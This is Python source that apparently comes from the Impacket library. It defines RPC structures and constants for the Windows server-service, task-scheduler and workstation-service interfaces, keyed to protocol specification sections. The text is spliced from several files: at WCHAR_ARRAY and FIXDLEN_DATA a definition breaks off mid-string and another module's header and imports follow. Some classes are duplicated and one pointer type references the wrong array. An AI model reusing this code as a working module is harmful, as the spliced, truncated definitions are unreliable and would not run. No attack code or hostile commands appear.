class LPSERVER_INFO_502(NDRPOINTER):
referent = (
('Data', SERVER_INFO_502),
)
# 2.2.4.45 SERVER_INFO_503
class SERVER_INFO_503(NDRSTRUCT):
structure = (
('sv503_sessopens', DWORD),
('sv503_sessvcs', DWORD),
('sv503_opensearch', DWORD),
('sv503_sizreqbuf', DWORD),
('sv503_initworkitems', DWORD),
('sv503_maxworkitems', DWORD),
('sv503_rawworkitems', DWORD),
('sv503_irpstacksize', DWORD),
('sv503_maxrawbuflen', DWORD),
('sv503_sessusers', DWORD),
('sv503_sessconns', DWORD),
('sv503_maxpagedmemoryusage', DWORD),
('sv503_maxnonpagedmemoryusage', DWORD),
('sv503_enablesoftcompat', DWORD),
('sv503_enableforcedlogoff', DWORD),
('sv503_timesource', DWORD),
('sv503_acceptdownlevelapis', DWORD),
('sv503_lmannounce', DWORD),
('sv503_domain', LPWSTR),
('sv503_maxcopyreadlen', DWORD),
('sv503_maxcopywritelen', DWORD),
('sv503_minkeepsearch', DWORD),
('sv503_maxkeepsearch', DWORD),
('sv503_minkeepcomplsearch', DWORD),
('sv503_maxkeepcomplsearch', DWORD),
('sv503_threadcountadd', DWORD),
('sv503_numblockthreads', DWORD),
('sv503_scavtimeout', DWORD),
('sv503_minrcvqueue', DWORD),
('sv503_minfreeworkitems', DWORD),
('sv503_xactmemsize', DWORD),
('sv503_threadpriority', DWORD),
('sv503_maxmpxct', DWORD),
('sv503_oplockbreakwait', DWORD),
('sv503_oplockbreakresponsewait', DWORD),
('sv503_enableoplocks', DWORD),
('sv503_enableoplockforceclose', DWORD),
('sv503_enablefcbopens', DWORD),
('sv503_enableraw', DWORD),
('sv503_enablesharednetdrives', DWORD),
('sv503_minfreeconnections', DWORD),
('sv503_maxfreeconnections', DWORD),
)
class LPSERVER_INFO_503(NDRPOINTER):
referent = (
('Data', SERVER_INFO_503),
)
# 2.2.4.46 SERVER_INFO_599
class SERVER_INFO_599(NDRSTRUCT):
structure = (
('sv599_sessopens', DWORD),
('sv599_sessvcs', DWORD),
('sv599_opensearch', DWORD),
('sv599_sizreqbuf', DWORD),
('sv599_initworkitems', DWORD),
('sv599_maxworkitems', DWORD),
('sv599_rawworkitems', DWORD),
('sv599_irpstacksize', DWORD),
('sv599_maxrawbuflen', DWORD),
('sv599_sessusers', DWORD),
('sv599_sessconns', DWORD),
('sv599_maxpagedmemoryusage', DWORD),
('sv599_maxnonpagedmemoryusage', DWORD),
('sv599_enablesoftcompat', DWORD),
('sv599_enableforcedlogoff', DWORD),
('sv599_timesource', DWORD),
('sv599_acceptdownlevelapis', DWORD),
('sv599_lmannounce', DWORD),
('sv599_domain', LPWSTR),
('sv599_maxcopyreadlen', DWORD),
('sv599_maxcopywritelen', DWORD),
('sv599_minkeepsearch', DWORD),
('sv599_maxkeepsearch', DWORD),
('sv599_minkeepcomplsearch', DWORD),
('sv599_maxkeepcomplsearch', DWORD),
('sv599_threadcountadd', DWORD),
('sv599_numblockthreads', DWORD),
('sv599_scavtimeout', DWORD),
('sv599_minrcvqueue', DWORD),
('sv599_minfreeworkitems', DWORD),
('sv599_xactmemsize', DWORD),
('sv599_threadpriority', DWORD),
('sv599_maxmpxct', DWORD),
('sv599_oplockbreakwait', DWORD),
('sv599_oplockbreakresponsewait', DWORD),
('sv599_enableoplocks', DWORD),
('sv599_enableoplockforceclose', DWORD),
('sv599_enablefcbopens', DWORD),
('sv599_enableraw', DWORD),
('sv599_enablesharednetdrives', DWORD),
('sv599_minfreeconnections', DWORD),
('sv599_maxfreeconnections', DWORD),
('sv599_initsesstable', DWORD),
('sv599_initconntable', DWORD),
('sv599_initfiletable', DWORD),
('sv599_initsearchtable', DWORD),
('sv599_alertschedule', DWORD),
('sv599_errorthreshold', DWORD),
('sv599_networkerrorthreshold', DWORD),
('sv599_diskspacethreshold', DWORD),
('sv599_reserved', DWORD),
('sv599_maxlinkdelay', DWORD),
('sv599_minlinkthroughput', DWORD),
('sv599_linkinfovalidtime', DWORD),
('sv599_scavqosinfoupdatetime', DWORD),
('sv599_maxworkitemidletime', DWORD),
)
class LPSERVER_INFO_599(NDRPOINTER):
referent = (
('Data', SERVER_INFO_599),
)
# 2.2.4.47 SERVER_INFO_1005
class SERVER_INFO_1005(NDRSTRUCT):
structure = (
('sv1005_comment', LPWSTR),
)
class LPSERVER_INFO_1005(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1005),
)
# 2.2.4.48 SERVER_INFO_1107
class SERVER_INFO_1107(NDRSTRUCT):
structure = (
('sv1107_users', DWORD),
)
class LPSERVER_INFO_1107(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1107),
)
# 2.2.4.49 SERVER_INFO_1010
class SERVER_INFO_1010(NDRSTRUCT):
structure = (
('sv1010_disc', DWORD),
)
class LPSERVER_INFO_1010(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1010),
)
# 2.2.4.50 SERVER_INFO_1016
class SERVER_INFO_1016(NDRSTRUCT):
structure = (
('sv1016_hidden', DWORD),
)
class LPSERVER_INFO_1016(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1016),
)
# 2.2.4.51 SERVER_INFO_1017
class SERVER_INFO_1017(NDRSTRUCT):
structure = (
('sv1017_announce', DWORD),
)
class LPSERVER_INFO_1017(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1017),
)
# 2.2.4.52 SERVER_INFO_1018
class SERVER_INFO_1018(NDRSTRUCT):
structure = (
('sv1018_anndelta', DWORD),
)
class LPSERVER_INFO_1018(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1018),
)
# 2.2.4.53 SERVER_INFO_1501
class SERVER_INFO_1501(NDRSTRUCT):
structure = (
('sv1501_sessopens', DWORD),
)
class LPSERVER_INFO_1501(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1501),
)
# 2.2.4.54 SERVER_INFO_1502
class SERVER_INFO_1502(NDRSTRUCT):
structure = (
('sv1502_sessvcs', DWORD),
)
class LPSERVER_INFO_1502(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1502),
)
# 2.2.4.55 SERVER_INFO_1503
class SERVER_INFO_1503(NDRSTRUCT):
structure = (
('sv1503_opensearch', DWORD),
)
class LPSERVER_INFO_1503(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1503),
)
# 2.2.4.56 SERVER_INFO_1506
class SERVER_INFO_1506(NDRSTRUCT):
structure = (
('sv1506_maxworkitems', DWORD),
)
class LPSERVER_INFO_1506(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1506),
)
# 2.2.4.57 SERVER_INFO_1510
class SERVER_INFO_1510(NDRSTRUCT):
structure = (
('sv1510_sessusers', DWORD),
)
class LPSERVER_INFO_1510(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1510),
)
# 2.2.4.58 SERVER_INFO_1511
class SERVER_INFO_1511(NDRSTRUCT):
structure = (
('sv1511_sessconns', DWORD),
)
class LPSERVER_INFO_1511(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1511),
)
# 2.2.4.59 SERVER_INFO_1512
class SERVER_INFO_1512(NDRSTRUCT):
structure = (
('sv1512_maxnonpagedmemoryusage', DWORD),
)
class LPSERVER_INFO_1512(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1512),
)
# 2.2.4.60 SERVER_INFO_1513
class SERVER_INFO_1513(NDRSTRUCT):
structure = (
('sv1513_maxpagedmemoryusage', DWORD),
)
class LPSERVER_INFO_1513(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1513),
)
# 2.2.4.61 SERVER_INFO_1514
class SERVER_INFO_1514(NDRSTRUCT):
structure = (
('sv1514_enablesoftcompat', DWORD),
)
class LPSERVER_INFO_1514(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1514),
)
# 2.2.4.62 SERVER_INFO_1515
class SERVER_INFO_1515(NDRSTRUCT):
structure = (
('sv1515_enableforcedlogoff', DWORD),
)
class LPSERVER_INFO_1515(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1515),
)
# 2.2.4.63 SERVER_INFO_1516
class SERVER_INFO_1516(NDRSTRUCT):
structure = (
('sv1516_timesource', DWORD),
)
class LPSERVER_INFO_1516(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1516),
)
# 2.2.4.64 SERVER_INFO_1518
class SERVER_INFO_1518(NDRSTRUCT):
structure = (
('sv1518_lmannounce', DWORD),
)
class LPSERVER_INFO_1518(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1518),
)
# 2.2.4.65 SERVER_INFO_1523
class SERVER_INFO_1523(NDRSTRUCT):
structure = (
('sv1523_maxkeepsearch', DWORD),
)
class LPSERVER_INFO_1523(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1523),
)
# 2.2.4.66 SERVER_INFO_1528
class SERVER_INFO_1528(NDRSTRUCT):
structure = (
('sv1528_scavtimeout', DWORD),
)
class LPSERVER_INFO_1528(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1528),
)
# 2.2.4.67 SERVER_INFO_1529
class SERVER_INFO_1529(NDRSTRUCT):
structure = (
('sv1529_minrcvqueue', DWORD),
)
class LPSERVER_INFO_1529(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1529),
)
# 2.2.4.68 SERVER_INFO_1530
class SERVER_INFO_1530(NDRSTRUCT):
structure = (
('sv1530_minfreeworkitems', DWORD),
)
class LPSERVER_INFO_1530(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1530),
)
# 2.2.4.69 SERVER_INFO_1533
class SERVER_INFO_1533(NDRSTRUCT):
structure = (
('sv1533_maxmpxct', DWORD),
)
class LPSERVER_INFO_1533(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1533),
)
# 2.2.4.70 SERVER_INFO_1534
class SERVER_INFO_1534(NDRSTRUCT):
structure = (
('sv1534_oplockbreakwait', DWORD),
)
class LPSERVER_INFO_1534(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1534),
)
# 2.2.4.71 SERVER_INFO_1535
class SERVER_INFO_1535(NDRSTRUCT):
structure = (
('sv1535_oplockbreakresponsewait', DWORD),
)
class LPSERVER_INFO_1535(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1535),
)
# 2.2.4.72 SERVER_INFO_1536
class SERVER_INFO_1536(NDRSTRUCT):
structure = (
('sv1536_enableoplocks', DWORD),
)
class LPSERVER_INFO_1536(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1536),
)
# 2.2.4.73 SERVER_INFO_1538
class SERVER_INFO_1538(NDRSTRUCT):
structure = (
('sv1538_enablefcbopens', DWORD),
)
class LPSERVER_INFO_1538(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1538),
)
# 2.2.4.74 SERVER_INFO_1539
class SERVER_INFO_1539(NDRSTRUCT):
structure = (
('sv1539_enableraw', DWORD),
)
class LPSERVER_INFO_1539(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1539),
)
# 2.2.4.75 SERVER_INFO_1540
class SERVER_INFO_1540(NDRSTRUCT):
structure = (
('sv1540_enablesharednetdrives', DWORD),
)
class LPSERVER_INFO_1540(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1540),
)
# 2.2.4.76 SERVER_INFO_1541
class SERVER_INFO_1541(NDRSTRUCT):
structure = (
('sv1541_minfreeconnections', DWORD),
)
class LPSERVER_INFO_1541(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1541),
)
# 2.2.4.77 SERVER_INFO_1542
class SERVER_INFO_1542(NDRSTRUCT):
structure = (
('sv1542_maxfreeconnections', DWORD),
)
class LPSERVER_INFO_1542(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1542),
)
# 2.2.4.78 SERVER_INFO_1543
class SERVER_INFO_1543(NDRSTRUCT):
structure = (
('sv1543_initsesstable', DWORD),
)
class LPSERVER_INFO_1543(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1543),
)
# 2.2.4.79 SERVER_INFO_1544
class SERVER_INFO_1544(NDRSTRUCT):
structure = (
('sv1544_initconntable', DWORD),
)
class LPSERVER_INFO_1544(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1544),
)
# 2.2.4.80 SERVER_INFO_1545
class SERVER_INFO_1545(NDRSTRUCT):
structure = (
('sv1545_initfiletable', DWORD),
)
class LPSERVER_INFO_1545(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1545),
)
# 2.2.4.81 SERVER_INFO_1546
class SERVER_INFO_1546(NDRSTRUCT):
structure = (
('sv1546_initsearchtable', DWORD),
)
class LPSERVER_INFO_1546(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1546),
)
# 2.2.4.82 SERVER_INFO_1547
class SERVER_INFO_1547(NDRSTRUCT):
structure = (
('sv1547_alertschedule', DWORD),
)
class LPSERVER_INFO_1547(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1547),
)
# 2.2.4.83 SERVER_INFO_1548
class SERVER_INFO_1548(NDRSTRUCT):
structure = (
('sv1548_errorthreshold', DWORD),
)
class LPSERVER_INFO_1548(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1548),
)
# 2.2.4.84 SERVER_INFO_1549
class SERVER_INFO_1549(NDRSTRUCT):
structure = (
('sv1549_networkerrorthreshold', DWORD),
)
class LPSERVER_INFO_1549(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1549),
)
# 2.2.4.85 SERVER_INFO_1550
class SERVER_INFO_1550(NDRSTRUCT):
structure = (
('sv1550_diskspacethreshold', DWORD),
)
class LPSERVER_INFO_1550(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1550),
)
# 2.2.4.86 SERVER_INFO_1552
class SERVER_INFO_1552(NDRSTRUCT):
structure = (
('sv1552_maxlinkdelay', DWORD),
)
class LPSERVER_INFO_1552(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1552),
)
# 2.2.4.87 SERVER_INFO_1553
class SERVER_INFO_1553(NDRSTRUCT):
structure = (
('sv1553_minlinkthroughput', DWORD),
)
class LPSERVER_INFO_1553(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1553),
)
# 2.2.4.88 SERVER_INFO_1554
class SERVER_INFO_1554(NDRSTRUCT):
structure = (
('sv1554_linkinfovalidtime', DWORD),
)
class LPSERVER_INFO_1554(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1554),
)
# 2.2.4.89 SERVER_INFO_1555
class SERVER_INFO_1555(NDRSTRUCT):
structure = (
('sv1555_scavqosinfoupdatetime', DWORD),
)
class LPSERVER_INFO_1555(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1555),
)
# 2.2.4.90 SERVER_INFO_1556
class SERVER_INFO_1556(NDRSTRUCT):
structure = (
('sv1556_maxworkitemidletime', DWORD),
)
class LPSERVER_INFO_1556(NDRPOINTER):
referent = (
('Data', SERVER_INFO_1556),
)
# 2.2.4.91 DISK_INFO
class WCHAR_ARRAY(NDRSTRUCT):
commonHdr = (
('Offset','.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR, NULL, GUID, PSYSTEMTIME, SYSTEMTIME
from impacket.structure import Structure
from impacket import hresult_errors, system_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_TSCHS = uuidtup_to_bin(('86D35949-83C9-4044-B424-DB363231FD0C','1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if hresult_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
elif system_errors.ERROR_MESSAGES.has_key(key & 0xffff):
error_msg_short = system_errors.ERROR_MESSAGES[key & 0xffff][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key & 0xffff][1]
return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.3.1 Constant Values
CNLEN = 15
DNLEN = CNLEN
UNLEN = 256
MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1)
# 2.3.7 Flags
TASK_FLAG_INTERACTIVE = 0x1
TASK_FLAG_DELETE_WHEN_DONE = 0x2
TASK_FLAG_DISABLED = 0x4
TASK_FLAG_START_ONLY_IF_IDLE = 0x10
TASK_FLAG_KILL_ON_IDLE_END = 0x20
TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40
TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80
TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100
TASK_FLAG_HIDDEN = 0x200
TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400
TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800
TASK_FLAG_SYSTEM_REQUIRED = 0x1000
TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000
# 2.3.9 TASK_LOGON_TYPE
TASK_LOGON_NONE = 0
TASK_LOGON_PASSWORD = 1
TASK_LOGON_S4U = 2
TASK_LOGON_INTERACTIVE_TOKEN = 3
TASK_LOGON_GROUP = 4
TASK_LOGON_SERVICE_ACCOUNT = 5
TASK_LOGON_INTERACTIVE_TOKEN_OR_PASSWORD = 6
# 2.3.13 TASK_STATE
TASK_STATE_UNKNOWN = 0
TASK_STATE_DISABLED = 1
TASK_STATE_QUEUED = 2
TASK_STATE_READY = 3
TASK_STATE_RUNNING = 4
# 2.4.1 FIXDLEN_DATA
SCHED_S_TASK_READY = 0x00041300
SCHED_S_TASK_RUNNING = 0x00041301
SCHED_S_TASK_NOT_SCHEDULED = 0x00041301
# 2.4.2.11 Triggers
TASK_TRIGGER_FLAG_HAS_END_DATE = 0
TASK_TRIGGER_FLAG_KILL_AT_DURATION_END = 0
TASK_TRIGGER_FLAG_DISABLED = 0
# ToDo: Change this to enums
ONCE = 0
DAILY = 1
WEEKLY = 2
MONTHLYDATE = 3
MONTHLYDOW = 4
EVENT_ON_IDLE = 5
EVENT_AT_SYSTEMSTART = 6
EVENT_AT_LOGON = 7
SUNDAY = 0
MONDAY = 1
TUESDAY = 2
WEDNESDAY = 3
THURSDAY = 4
FRIDAY = 5
SATURDAY = 6
JANUARY = 1
FEBRUARY = 2
MARCH = 3
APRIL = 4
MAY = 5
JUNE = 6
JULY = 7
AUGUST = 8
SEPTEMBER = 9
OCTOBER = 10
NOVEMBER = 11
DECEMBER = 12
# 2.4.2.11.8 MONTHLYDOW Trigger
FIRST_WEEK = 1
SECOND_WEEK = 2
THIRD_WEEK = 3
FOURTH_WEEK = 4
LAST_WEEK = 5
# 2.3.12 TASK_NAMES
TASK_NAMES = LPWSTR
# 3.2.5.4.2 SchRpcRegisterTask (Opnum 1)
TASK_VALIDATE_ONLY = 1<<(31-31)
TASK_CREATE = 1<<(31-30)
TASK_UPDATE = 1<<(31-29)
TASK_DISABLE = 1<<(31-28)
TASK_DON_ADD_PRINCIPAL_ACE = 1<<(31-27)
TASK_IGNORE_REGISTRATION_TRIGGERS = 1<<(31-26)
# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)
TASK_ENUM_HIDDEN = 1
# 3.2.5.4.13 SchRpcRun (Opnum 12)
TASK_RUN_AS_SELF = 1<<(31-31)
TASK_RUN_IGNORE_CONSTRAINTS = 1<<(31-30)
TASK_RUN_USE_SESSION_ID = 1<<(31-29)
TASK_RUN_USER_SID = 1<<(31-28)
class SYSTEMTIME_ARRAY(NDRUniConformantArray):
item = SYSTEMTIME
class PSYSTEMTIME_ARRAY(NDRPOINTER):
referent = (
('Data',SYSTEMTIME_ARRAY),
)
# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)
SCH_FLAG_STATE = 1<<(31-3)
################################################################################
# STRUCTURES
################################################################################
# 2.3.12 TASK_NAMES
class TASK_NAMES_ARRAY(NDRUniConformantArray):
item = TASK_NAMES
class PTASK_NAMES_ARRAY(NDRPOINTER):
referent = (
('Data',TASK_NAMES_ARRAY),
)
class WSTR_ARRAY(NDRUniConformantArray):
item = WSTR
class PWSTR_ARRAY(NDRPOINTER):
referent = (
('Data',WSTR_ARRAY),
)
class GUID_ARRAY(NDRUniConformantArray):
item = GUID
class PGUID_ARRAY(NDRPOINTER):
referent = (
('Data',TASK_NAMES_ARRAY),
)
# 3.2.5.4.13 SchRpcRun (Opnum 12)
class SYSTEMTIME_ARRAY(NDRUniConformantArray):
item = SYSTEMTIME
class PSYSTEMTIME_ARRAY(NDRPOINTER):
referent = (
('Data',SYSTEMTIME_ARRAY),
)
# 2.3.8 TASK_USER_CRED
class TASK_USER_CRED(NDRSTRUCT):
structure = (
('userId',LPWSTR),
('password',LPWSTR),
('flags',DWORD),
)
class TASK_USER_CRED_ARRAY(NDRUniConformantArray):
item = TASK_USER_CRED
class LPTASK_USER_CRED_ARRAY(NDRPOINTER):
referent = (
('Data',TASK_USER_CRED_ARRAY),
)
# 2.3.10 TASK_XML_ERROR_INFO
class TASK_XML_ERROR_INFO(NDRSTRUCT):
structure = (
('line',DWORD),
('column',DWORD),
('node',LPWSTR),
('value',LPWSTR),
)
class PTASK_XML_ERROR_INFO(NDRPOINTER):
referent = (
('Data',TASK_XML_ERROR_INFO),
)
# 2.4.1 FIXDLEN_DATA
class FIXDLEN_DATA(Structure):
structure = (
('Product Version','.
# There are test cases for them too.
#
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRUniConformantArray, NDRUniFixedArray, \
NDRPOINTER
from impacket.dcerpc.v5.dtypes import NULL, WSTR, ULONG, LPWSTR, LONG, LARGE_INTEGER, WIDESTR, RPC_UNICODE_STRING, \
LPULONG, LPLONG
from impacket import system_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.enum import Enum
from impacket.dcerpc.v5.rpcrt import DCERPCException
MSRPC_UUID_WKST = uuidtup_to_bin(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if system_errors.ERROR_MESSAGES.has_key(key):
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'WKST SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'WKST SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.2.1.1 JOIN_MAX_PASSWORD_LENGTH
JOIN_MAX_PASSWORD_LENGTH = 256
# 2.2.1.2 JOIN_OBFUSCATOR_LENGTH
JOIN_OBFUSCATOR_LENGTH = 8
# 2.2.1.3 MAX_PREFERRED_LENGTH
MAX_PREFERRED_LENGTH = 0xffffffff
# 2.2.5.22 USE_INFO_1
USE_OK = 0x00000000
USE_PAUSED = 0x00000001
USE_SESSLOST = 0x00000002
USE_NETERR = 0x00000003
USE_CONN = 0x00000004
USE_RECONN = 0x00000005
USE_WILDCARD = 0xFFFFFFFF
USE_DISKDEV = 0x00000000
USE_SPOOLDEV = 0x00000001
USE_CHARDEV = 0x00000002
USE_IPC = 0x00000003
# 3.2.4.9 NetrUseDel (Opnum 10)
# Force Level
USE_NOFORCE = 0x00000000
USE_FORCE = 0x00000001
USE_LOTS_OF_FORCE = 0x00000002
# 3.2.4.13 NetrJoinDomain2 (Opnum 22)
# Options
NETSETUP_JOIN_DOMAIN = 0x00000001
NETSETUP_ACCT_CREATE = 0x00000002
NETSETUP_ACCT_DELETE = 0x00000004
NETSETUP_DOMAIN_JOIN_IF_JOINED = 0x00000020
NETSETUP_JOIN_UNSECURE = 0x00000040
NETSETUP_MACHINE_PWD_PASSED = 0x00000080
NETSETUP_DEFER_SPN_SET = 0x00000100
NETSETUP_JOIN_DC_ACCOUNT = 0x00000200
NETSETUP_JOIN_WITH_NEW_NAME = 0x00000400
NETSETUP_INSTALL_INVOCATION = 0x00040000
# 3.2.4.14 NetrUnjoinDomain2 (Opnum 23)
# Options
NETSETUP_ACCT_DELETE = 0x00000004
NETSETUP_IGNORE_UNSUPPORTED_FLAGS = 0x10000000
# 3.2.4.15 NetrRenameMachineInDomain2 (Opnum 24)
# Options
NETSETUP_ACCT_CREATE = 0x00000002
NETSETUP_DNS_NAME_CHANGES_ONLY = 0x00001000
################################################################################
# STRUCTURES
################################################################################
# 2.2.2.1 WKSSVC_IDENTIFY_HANDLE
class WKSSVC_IDENTIFY_HANDLE(NDRSTRUCT):
structure = (
('Data', WSTR),
)
class LPWKSSVC_IDENTIFY_HANDLE(NDRPOINTER):
referent = (
('Data', WKSSVC_IDENTIFY_HANDLE),
)
# 2.2.2.2 WKSSVC_IMPERSONATE_HANDLE
class WKSSVC_IMPERSONATE_HANDLE(NDRSTRUCT):
structure = (
('Data',WSTR),
)
class LPWKSSVC_IMPERSONATE_HANDLE(NDRPOINTER):
referent = (
('Data', WKSSVC_IMPERSONATE_HANDLE),
)
# 2.2.3.1 NETSETUP_JOIN_STATUS
class NETSETUP_JOIN_STATUS(NDRENUM):
class enumItems(Enum):
NetSetupUnknownStatus = 1
NetSetupUnjoined = 2
NetSetupWorkgroupName = 3
NetSetupDomainName = 4
# 2.2.3.2 NETSETUP_NAME_TYPE
class NETSETUP_NAME_TYPE(NDRENUM):
class enumItems(Enum):
NetSetupUnknown = 0
NetSetupMachine = 1
NetSetupWorkgroup = 2
NetSetupDomain = 3
NetSetupNonExistentDomain = 4
NetSetupDnsMachine = 5
# 2.2.3.3 NET_COMPUTER_NAME_TYPE
class NET_COMPUTER_NAME_TYPE(NDRENUM):
class enumItems(Enum):
NetPrimaryComputerName = 0
NetAlternateComputerNames = 1
NetAllComputerNames = 2
NetComputerNameTypeMax = 3
# 2.2.5.1 WKSTA_INFO_100
class WKSTA_INFO_100(NDRSTRUCT):
structure = (
('wki100_platform_id', ULONG),
('wki100_computername', LPWSTR),
('wki100_langroup', LPWSTR),
('wki100_ver_major', ULONG),
('wki100_ver_minor', ULONG),
)
class LPWKSTA_INFO_100(NDRPOINTER):
referent = (
('Data', WKSTA_INFO_100),
)
# 2.2.5.2 WKSTA_INFO_101
class WKSTA_INFO_101(NDRSTRUCT):
structure = (
('wki101_platform_id', ULONG),
('wki101_computername', LPWSTR),
('wki101_langroup', LPWSTR),
('wki101_ver_major', ULONG),
('wki101_ver_minor', ULONG),
('wki101_lanroot', LPWSTR),
)
class LPWKSTA_INFO_101(NDRPOINTER):
referent = (
('Data', WKSTA_INFO_101),
)
# 2.2.5.3 WKSTA_INFO_102
class WKSTA_INFO_102(NDRSTRUCT):
structure = (
('wki102_platform_id', ULONG),
('wki102_computername', LPWSTR),
('wki102_langroup', LPWSTR),
('wki102_ver_major', ULONG),
('wki102_ver_minor', ULONG),
('wki102_lanroot', LPWSTR),
('wki102_logged_on_users', ULONG),
)
class LPWKSTA_INFO_102(NDRPOINTER):
referent = (
('Data', WKSTA_INFO_102),
)
# 2.2.5.4 WKSTA_INFO_502
class WKSTA_INFO_502(NDRSTRUCT):
structure = (
('wki502_char_wait', ULONG),
('wki502_collection_time', ULONG),
('wki502_maximum_collection_count', ULONG),
('wki502_keep_conn', ULONG),
('wki502_max_cmds', ULONG),
('wki502_sess_timeout', ULONG),
('wki502_siz_char_buf', ULONG),
('wki502_max_threads', ULONG),
('wki502_lock_quota', ULONG),
('wki502_lock_increment', ULONG),
('wki502_lock_maximum', ULONG),
('wki502_pipe_increment', ULONG),
('wki502_pipe_maximum', ULONG),
('wki502_cache_file_timeout', ULONG),
('wki502_dormant_file_limit', ULONG),
('wki502_read_ahead_throughput', ULONG),
('wki502_num_mailslot_buffers', ULONG),
('wki502_num_srv_announce_buffers', ULONG),
('wki502_max_illegal_datagram_events', ULONG),
('wki502_illegal_datagram_event_reset_frequency', ULONG),
('wki502_log_election_packets', LONG),
('wki502_use_opportunistic_locking', LONG),
('wki502_use_unlock_behind', LONG),
('wki502_use_close_behind', LONG),
('wki502_buf_named_pipes', LONG),
('wki502_use_lock_read_unlock', LONG),
('wki502_utilize_nt_caching', LONG),
('wki502_use_raw_read', LONG),
('wki502_use_raw_write', LONG),
('wki502_use_write_raw_data', LONG),
('wki502_use_encryption', LONG),
('wki502_buf_files_deny_write', LONG),
('wki502_buf_read_only_files', LONG),
('wki502_force_core_create_mode', LONG),
('wki502_use_512_byte_max_transfer', LONG),
)
class LPWKSTA_INFO_502(NDRPOINTER):
referent = (
('Data', WKSTA_INFO_502),
)
# 2.2.5.5 WKSTA_INFO_1013
class WKSTA_INFO_1013(NDRSTRUCT):
structure = (
('wki1013_keep_conn', ULONG),
)
class LPWKSTA_INFO_1013(NDRPOINTER):
referent = (
('Data', WKSTA_INFO_1013),
)
# 2.2.5.6 WKSTA_INFO_1018
class WKSTA_INFO_1018(NDRSTRUCT):
structure = (
('wki1018_sess_timeout', ULONG),
)
class LPWKSTA_INFO_1018(NDRPOINTER):
referent = (
('Data', WKSTA_INFO_1018),
)
# 2.2.5.7 WKSTA_INFO_1046
class WKSTA_INFO_1046(NDRSTRUCT):
structure = (
('wki1046_dormant_file_limit', ULONG),
)
class LPWKSTA_INFO_1046(NDRPOINTER):
referent = (
('Data', WKSTA_INFO_1046),
)
# 2.2.4.1 WKSTA_INFO
class WKSTA_INFO(NDRUNION):
commonHdr = (
('tag', ULONG),
)
union = {
